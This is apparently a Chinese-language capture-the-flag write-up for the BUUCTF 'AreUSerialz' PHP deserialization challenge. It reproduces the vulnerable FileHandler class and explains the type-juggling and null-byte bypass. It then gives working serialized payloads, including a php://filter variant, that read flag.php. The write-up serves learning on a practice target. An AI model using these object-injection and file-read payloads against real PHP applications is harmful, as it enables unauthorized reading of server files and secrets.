1.准备工作
1.首先先去buuctf官网(https://buuoj.cn/)注册一个账号
2.打开题目地址https://buuoj.cn/challenges#[网鼎杯%202020%20青龙组]AreUSerialz
3.然后启动靶机,访问链接进入题目,这里我直接把题目粘贴出来:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}2.这段代码干了什么?
这里我们只看关键的代码
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
这是这段代码的执行逻辑
op == "1"? ──Yes──► write() ──► 写入文件
│
No
▼
op == "2"? ──Yes──► read() ──► 读取文件 ──► output()
│
No
▼
输出:Bad Hacker!write() 方法用于写入文件,本题中我们利用 read() 读取 flag,所以暂不深入。
这段代码使用file_get_contents函数可以读取任意文件(因为没有路径白名单限制,也可以是PHP 伪协议:php://filter/)再结合代码的开始是include("flag.php"); 所以我们应该是要读取flag.php才可以拿到flag
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
然后后面的output函数大概会输出[Result]: flag这样
__destruct() 是析构函数,当对象生命周期结束(脚本执行完毕)时自动调用。
如果我们让 $op 是整数 2 而非字符串 "2":
2 === "2" → false(类型不同,不会重置)
但 process() 中 2 == "2" → true(松散比较,成功进入 read)"
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}末尾这一段代码,显然我们需要传入一个str的参数才会发生什么,应该是我们的攻击入口,unserialize($str); 会把我们传入的参数反序列化,所以我们传入的参数就要使用序列化,
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}3.整个攻击流程
用户访问 ?str=[恶意序列化字符串]
│
▼
is_valid() 检查通过(只有可见字符) //如果直接用 protected 属性,序列化结果会包含 %00*%00 空字符(ASCII 0),is_valid() 会返回 false。使用
| //public 格式可以生成纯可见字符的 Payload,通过检查。
│
▼
unserialize() 创建 FileHandler 对象
├─ op = 2 (整数)
├─ filename = "flag.php"
└─ content = ""
│
▼
脚本结束,对象即将销毁...
│
▼
调用 __destruct()
├─ 检查:2 === "2" ? 否!(类型不同)
├─ 保持 op = 2
└─ 调用 process()
│
▼
检查:2 == "2" ? 是!(松散比较)
│
▼
调用 read()
│
▼
file_get_contents("flag.php")
│
▼
返回 flag 内容4.构造payload
// 实际题目是 protected,但序列化时用 public 格式可以绕过空字符检查
// 这是 PHP 7.1+ 的特性:反序列化时 public 格式可以填充 protected 属性
class FileHandler {
public $op = 2; // 用 public 避免 %00 空字符
public $filename = "flag.php";
public $content = "";
}
echo serialize(new FileHandler); //输出:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
?>然后传参?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
这里右键f12就可以看到flag:

或者我们可以改成
<?php
class FileHandler {
public $op = 2; // 用 public 避免 %00 空字符
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = "";
}
echo serialize(new FileHandler); //输出O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:0:"";}
?> 可以直接输出flag,但是需要base64解码
[Result]:
PD9waHAgJGZsYWc9J2ZsYWd7OTBmZDNjMjctNTEzMS00YTBkLWI2MjAtM2VmNjliNDFjZDhlfSc7Cg==
找个在线base64解密就可以拿到flag
然后我们直接提交,搞定
